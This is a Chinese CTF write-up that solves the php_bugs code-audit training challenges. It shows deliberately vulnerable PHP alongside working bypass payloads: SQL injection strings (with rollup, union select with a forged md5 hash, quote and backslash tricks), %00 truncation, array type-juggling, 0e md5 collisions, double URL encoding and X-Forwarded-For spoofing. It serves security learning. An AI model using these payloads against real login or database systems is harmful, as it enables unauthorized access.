前言
代码审计不会,学习知识需要积累一下基础,因此来搭建php_bugs进行相关学习,题解如下,希望能对在学习代码审计的师傅们有所帮助
靶场
github链接如下
https://github.com/bowu678/php_bugs
extract变量覆盖
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
这里的话发现是$shiyan==$content
,才会输出flag,但是flag内容是不可控的,这里的话就需要说一下这个extract()
函数了
extract — 从数组中将变量导入到当前的符号表
其实这个概念,自我感觉说的比较笼统,不过这里我们可以举个栗子来进行学习
<?php
show_source(__FILE__);
$a=2;
extract($_GET);
echo $a;
?>
当出现与他同名的变量时,后者会覆盖前者
此时来看本关代码
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
这里需要实现$shiyan==$content
,$content
来源于file_get_contents($flag)
,而这个file_get_contents函数是把文件的信息打印出来,我们这个flag是个变量,他取值必定不是文件名,因此这里content变量的值为空,此时无论怎么写flag,content都为空,我们只需要保证shiyan也为空就可以,构造payload如下
flag=123&shiyan=
绕过过滤的空白字符
<?php
show_source(__FILE__);
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
这里的话大看一下有四个要求
1、if(is_numeric($_REQUEST['number'])) 这个条件需要为假,才能继续往下运行
2、要求$req['number']==strval(intval($req['number']))
3、要求intval($req["number"])==intval(strrev($req["number"]));//strrev函数作用是反转字符串
4、 if(is_palindrome_number($req["number"]))这个条件需要为假,才能输出flag
针对第一个条件的话,赋值的时候加上一个%00就可以绕过
针对$req['number']==strval(intval($req['number']))
的话,它这个相当于是不让变量中有字符串,只能有数字时才符合条件,这个是怎么知道的呢,当然是本地测试
<?php
show_source(__FILE__);
$a=addslashes(trim($_GET['a']));
$b=strval(intval($a));
var_dump($a==$b);
?>
一般的话肯定考虑一个空格给它绕过,但是这段代码里传入的变量都经过了trim
函数,trim函数过滤了很多空白字符
一般的话当然是没办法了,但是这里还有一个%0c
,也就是\f
未被过滤,因此这里我们可以用它来进行绕过,我们本地试也可以发现它是符合条件的
现在来看第三个条件intval($req["number"])==intval(strrev($req["number"]));
,这个strrev
函数的作用是反转字符串,这里的话也就是要求数字是回文数,比如131,这个时候反转一下还是131,此时就可以满足条件了
来看最后一个,让if(is_palindrome_number($req["number"]))
条件为假,这个函数定义如下
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
这个函数当它是回文数时就会正确,因此看似是与条件三矛盾的,但想到还有空白字符,用它的时候同时写回文数,此时是不是就可以成功绕过呢
此时的话第四个也就可以满足,结合前三个,需要%00
,需要%0c
,需要回文数,因此这个第四个测试的payload其实就是符合条件的
同时呢,这里再补充一下,%0c也可以用%2B,也就是+来代替,以为111与+111两者并无二致
多重加密
<?php
show_source(__FILE__);
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
重点的话有以下几处,分别是输出flag的地方
if($login['user'] === 'ichunqiu')
{
echo $flag;
这就要求$login['user']
为ichunqiu
,其次就是它的加密
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
这里的话我们需要user为一个固定的值,但是它加密了,那该怎么办呢,我们反向加密即可,构造脚本如下
<?php
$a=array(['user']==='ichunqiu');
$user =base64_encode(gzcompress(serialize($a)));
echo $user;
?>
得到值后在session中修改user的值即可
SQL注入_with rollup绕过
<?php
error_reporting(0);
show_source(__FILE__);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
重点在于过滤处
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
以及返回flag处
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
这里的话可以看出是要求通过用户名查询处的密码与post上传的密码一致时才会输出flag,查看过WP后了解到with rollup
这个东西,在mysql命令行中测试如下
mysql> select * from users group by id with rollup;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| NULL | admin4 | admin4 |
+----+----------+------------+
14 rows in set (0.00 sec)
可以发现此时最后一个id是Null,这个算是它的一个特点吧,它自动往后多添了一行,把你group by 的那个变量设为空,其他的变量延续上一个值的,那么我们这里当把查询语句中的id变为password会发生什么呢
mysql> select * from users group by password with rollup ;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
| 5 | stupid | NULL |
+----+----------+------------+
13 rows in set (0.00 sec)
此时你就会发现密码变空了,如果此时登录的话,密码不填,用户名写成‘group by password with rollup --+
不就可以绕过了吗(用单引号闭合是因为语句uname = '{$_POST['uname']}'
),结果是不行,因为这里有语句if (mysql_num_rows($query) == 1)
,它只允许有一行返回结果时才往下运行,不过这个也好办,我们用limit就可以了,本地测试如下
mysql> select * from users group by password with rollup limit 13,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 5 | stupid | NULL |
+----+----------+----------+
1 row in set (0.00 sec)
所以payload就可以构造出来了
unname='group by password with rollup limit 13,1--+
passwd=
ereg正则%00截断
<?php
show_source(__FILE__);
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
这里的话有三个条件
1、 if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === TRUE)
2、(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
3、 if (strpos ($_GET['password'], '*-*') !== FALSE)
先看第一个,^表示匹配开头,那么这里的话是^[a-zA-Z0-9]
,含义也就是以字母和数字开头,而后有个+,+表示前面的子表达式可匹配多次,在这里也就是说可以有多个字母和数字,结尾是$,在这里的含义就是需要以数字或者字母作为结尾,这里的话正常写就行,看下一个条件
第二个条件是strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
,密码最多只能写七位,但还需要大于七个9,这个时候怎么办呢,这个时候就要提到PHP中的科学技术法的表示方法了,它的表示方法是1e2这种,这表示1*10的二次方,也就是100,测试如下
大家也可自行测试,那么知道了这一点,这里做的话就简单了,我们写个1e8这种就可以绕过了。现在看最后一个条件
最后一个条件是if (strpos ($_GET['password'], '*-*') !== FALSE)
,这个其实也就是让password中包含*-*
,如果直接写的话,不符合正则表达式的要求,但我们知道当语句遇到%00的时候就会认为是休止符,不再往后看,我们如果在password中添加%00,再添加这个字符串,是不是就可以成功绕过呢,我们构造payload如下进行尝试
password=1e8%00*-*
成功绕过
strcmp比较字符串
<?php
show_source(__FILE__);
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
先了解一下strcmp函数
int strcmp( string $str1, string $str2)
注意该比较区分大小写。
如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
此时就知道了要求相比较的是两个字符串,这里的话如果传入数组的话,会报错,其实也就类似于intval函数,这个函数在 php5.3之前,显示了报错的信息后,将会把这个函数的运算结果输出为Null,此时我们再看这个语句if (strcmp($_GET['a'], $flag) == 0)
,它是一个弱比较类型,当输出为Null时,也就是if(Null==0)
,弱比较类型不看类型,只看值是否相同,那么此时就相当于说Null ==0
是成立的,因此我们这里传值为数组就可以成功绕过了
sha()函数比较绕过
<?php
show_source(__FILE__);
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
它这里的话是传入两个变量,name
和password
,两者经过sha1算法后进行强比较,也就是既比较类型,也比较值,但sha1算法加密的同样是字符串,那就意味着当值为数组时同样会报错,如果我们让两个都报错,那么他们肯定是同种类型的Null,此时就可以绕过,正常的话我们会构造payload如下
name[]=1&password[]=1
但是这里还有一个语句就是
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
也就是要求两者不能一样,不过这个的绕过也简单,我们只需要将两个1随便变一个就可以了,反正结果不受后面数字影响,都是Null,因此构造最终payload如下
name[]=1&password[]=2
SESSION验证绕过
<?php
show_source(__FILE__);
$flag = "flag";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
条件是$_GET['password'] == $_SESSION['password']
,这里session中的password是不存在的,需要我们自己传值,那我们如果不传的话不就为Null了吗,此时我们的GET传password也传个空,此时两者是不是就相等了呢,我们尝试一下
成功绕过
union select注入绕过md5密码
<?php
show_source(__FILE__);
//配置数据库
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
条件是if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
,而这个$row[pw]
是从根据SQL语句从数据库中查询出来的,因此前面这个也就是说要在数据库中存在这个SQL语句对应的密码,而后面的就是校验了,看你输入的密码与数据库是否匹配,这个时候就想到了union select可以自己创一行数据(当然是小白的看法,可能有误,还请师傅们见谅),本地测试如下图
mysql> select * from users where username='' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users ;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
从两个查询语句中可以看出,这个union select查询的语句明显是不存在在数据表中的,它取决于我们union select后面输入的东西的
mysql> select * from users where username='' union select 1,2,database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | security |
+----+----------+----------+
1 row in set (0.00 sec)
那么如果我们用union select的话,这是不是就意味着password可控呢
mysql> select * from users where username='' union select 1,2,123456;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
此时查询结果,取出password,那肯定就是123456了,由于密码提交的时候有$pass = md5($_POST[pass]);
,所以我们提交123456,到检验时中就变成了e10adc3949ba59abbe56e057f20f883e
(md5加密后的123456),那我们这个时候不就无法做到对应了吗,不过我们是不是可以把md5加密后的密码放到SQL语句中呢,这样比对的时候不就一致了吗,因此构造payload如下
user=' union select 1,2,'e10adc3949ba59abbe56e057f20f883e' #
&password=123456
urldecode二次编码绕过
<?php
show_source(__FILE__);
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
简单读一下代码就可以知道这道题条件是
1、id参数不能为hackerDJ
2、id参数经过url解码后为hackerDJ
这个时候思路就比较明确了,那就是给id参数赋值为hackerDJ然后进行url编码,但服务端接受参数时会自动进行一次编码,我们如果只编码一次的话还是绕不过去,因此这里需要进行二次编码,一般的工具url编码无法实现,这里可以借助burpsuite来实现,burpsuite可以实现全编码
构造最终payload如下
id=%2568%2561%2563%256b%2565%2572%2544%254a
sql闭合绕过
<?php
show_source(__FILE__);
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("*******", "****", "****");
mysql_select_db("****") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if($row['user']=="admin") {
echo "<p>Logged in! Key: *********** </p>";
}
if($row['user'] != "admin") {
echo("<p>You are not admin!</p>");
}
}
?>
两个条件
1、语句不能报错,需要有查询结果
2、传入的user参数需要为admin
那么这就相当于给出了用户名为admin,让你提交密码,只有密码正确的时候才可以使得结果不报错,从而回显flag,但我们不知道密码,此时想到另一种方式,用注释符#
闭合语句是不是也可以使得结果不报错呢,我们本地测试一下
mysql> select * from users where (username='admin') and (password='admin');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where (username='admin');#;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
可以发现是可以正常查询的,有查询结果,但此时如果我们用#闭合的话,此时语句就是
$sql = "select user from php where (user='admin#') and (pw='$pass')";
等同于
$sql = "select user from php where (user='admin
不难看出语句是有问题的,需要进行闭合,因此我们需要添加上')
,构造最终payload如下
username=admin')#
此时语句就是
$sql = "select user from php where (user='admin')
X-Forwarded-For绕过指定IP地址
<?php
show_source(__FILE__);
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
做这道题之前不妨先了解一下HTTP_CLIENT_IP
、X_FORWARDED_FOR
和REMOTE_ADDR
HTTP_CLIENT_IP 是代理服务器发送的HTTP头
HTTP_CLIENT_IP 是代理服务器发送的HTTP头,HTTP_CLIENT_IP确实存在于http请求的header里。
X_FORWARDED_FOR
简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP
代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP
REMOTE_ADDR
表示发出请求的远程主机的 IP
地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP
简单的总结一下就是
$_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP
$_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造)
$_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)
具体参考文献
https://www.cnblogs.com/luxiaojun/p/10451860.html
https://www.cnblogs.com/isungge/p/5711031.html
因此我们这里的话可以尝试伪造XFF头来进行绕过
md5加密相等绕过
<?php
show_source(__FILE__);
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
两个条件
$a != 'QNKCDZO'
md5($_GET['a'])==md5('QNKCDZO');
我们不妨先看一下md5加密后的QNKCDZO的值
0e830400451993494058024219903391
按照PHP的算法,这种会被认为是科学计数法,这里也会被视为0*10的830400451993494058024219903391次方
,0乘任何都为0,这里要求的是两个=,也就是弱比较,此时只需要满足值相同就可以绕过,也就是说我们只需要再找一个满足md5加密后值为0exxx即可,这种数有很多,这里随便列出几个
s155964671a
s214587387a
s1091221200a
s1502113478a
s1665632922a
构造最终payload如下
a=s1665632922a
intval函数四舍五入
<?php
show_source(__FILE__);
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
学习intval函数可以看我的这篇文章,之前针对这个intval做过一个简单的总结https://www.quan9i.top/2022/05/15/php特性之intval学习小记
接下来开始说一下这道题
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
这个呢,其实就是PHP连接SAE平台mysql的,我们理解为连接数据库即可,接着看
整体看过后,发现重点大致是这几句
1 、$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
2、if($_GET[id]==1024)
第二个语句是$_GET[id]
不等于1024时才往下执行,但好端端的为什么要提到这个1024呢,往下运行是输出查询结果,这是不是间接的说明id为1024时对应的内容为flag呢,因此我们这里去构造一个1024即可,但等于1024又无法往下运行,这个时候就关注到了查询语句中是$id
,而$id
是intval($_GET[id])
,因此这里就可以用intval的几个特性来绕过了
从官方例子中也可以看出,小数点后不计,那我们这里传值1024.2,在查询时不也是1024吗,而且后面检测是否为1024时还可以绕过检测,因此最终payload为
id=1024.2
strpos数组绕过NULL与ereg正则%00截断
<?php
show_source(__FILE__);
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
可以看到这里的话是两个条件
1、@ereg ("^[1-9]+$", $_GET['nctf']) === TRUE
2、strpos ($_GET['nctf'], '#biubiubiu') !== FALSE
简单的说其实就是这个nctf参数只能由数字组成,但想要flag就需要在参数nctf中出现#biubiubiu
,因此这里的话我们就需要用到之前的知识了,
%00截断
当语句遇到%00时,会认为是休止符,不再往后看,即使后面还有语句
因此这里的话我们可以在给nctf进行赋值时,加上%00,然后后面加上我们的#biubiubiu
,此时就可以成功绕过,构造最终payload如下
nctf=1%00%23biubiubiu
数组绕过
前面做题时也提到过,当函数中要求的是字符串时,我们提交的如果是数组,那么就会报错,然后返回Null,这里的话我们看一下strpos函数
要求的同样是字符串,我们填数组的话会报出Null,此时它的第二个条件就变成了
Null !==FALSE
这个条件是满足的,因为!==
是强比较,不仅比较值,还比较类型,我们也可以自己本地测试一下
<?php
show_source(__FILE__);
echo '<br>';
var_dump(null != false);
echo '<br>';
var_dump(null !== false);
?>
因此我们构造的最终payload如下
nctf[]=1
SQL注入or绕过
<?php
show_source(__FILE__);
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
$str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>
条件
(!$result || mysql_num_rows($result) < 1)==false
这个的话也就是说有查询结果,且结果不为空时就可以输出flag,代码第三行有注释
#GOAL: login as admin,then get the flag;
得到用户名为admin,此时看SQL注入语句
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
这两个变量username
和password
都被clean函数包裹,clean函数简单看一下
function clean($str){
if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
$str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
}
return htmlentities($str, ENT_QUOTES);
}
了解到是当满足get_magic_quotes_gpc()
时,此时会去除转义,否则返回转义后的结果,现在来看一下这个get_magic_quotes_gpc()
函数
这里看的话始终返回false,因此这里就对单引号、双引号进行了转义,因此变量中是不能通过单引号或者双引号实现闭合从而进行SQL注入了,但\
未在转义范围内,我们此时就可以利用\
来影响原SQL语句,这里将SQL语句列出
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
此时我们不知道密码,肯定要对后面进行点什么,这里的思路的话就是让AND pass这句话变成一部分,此时后面随便写,比如万能语句or 1#
使得语句不报错即可,那我们该怎么来实现呢,当然是借助\
,在name传值时后面加一个\就可以实现,构造payload如下
name=admin\#&password= or 1#
此时语句就是
$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1#'\';';
//name=\''admin\'为一部分
//\' AND pass=\'为一部分
//or 1#为最后一部分
其实简化一下也就是
$query='SELECT * FROM users WHERE name='admin AND pass=' or 1#'
你会发现此时AND pass变成了name的一部分,后面不报错,此时就符号条件,语句就可以正常运行,此时就可以得到flag了,因此构造最终payload如下
name=admin\#&password= or 1#
密码md5比较绕过
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
//strcasecmp:0 - 如果两个字符串相等
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
同之前的union select注入绕过一致,这里直接给出payload
user='union select 1,2,'e10adc3949ba59abbe56e057f20f883e'#
&pass=123456
md5()函数===使用数组绕过
<?php
show_source(__FILE__);
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
条件
md5($_GET['username']) === md5($_GET['password']
这里看的话是强比较,因此构造都为0exxx的那种是无法绕过的,但我们绕过的方式还有一种就是数组绕过,当函数应该用字符串时用数组,此时都会返回Null,值和类型都是相同的,因此构造payload如下
username[]=1
&password[]=2
ereg()函数strpos() 函数用数组返回NULL绕过
<?php
show_source(__FILE__);
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
这里的话简单读一下代码就是password只允许为字母和数字,但只有出现–时才能输出flag,思路明显,用%00截断或者数组绕过
%00截断
语句遇到%00就认为是休止符,不再往后看
password=1%00--
数组绕过
比较的是字符串,当我们传入数组时,就会返回Null,此时语句就变成了
if(Null !==False)
这个是成立的,因为这里是强比较,因此此时就会输出flag,所以我们构造最终payload如下
password[]=1
十六进制与数字比较
<?php
show_source(__FILE__);
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
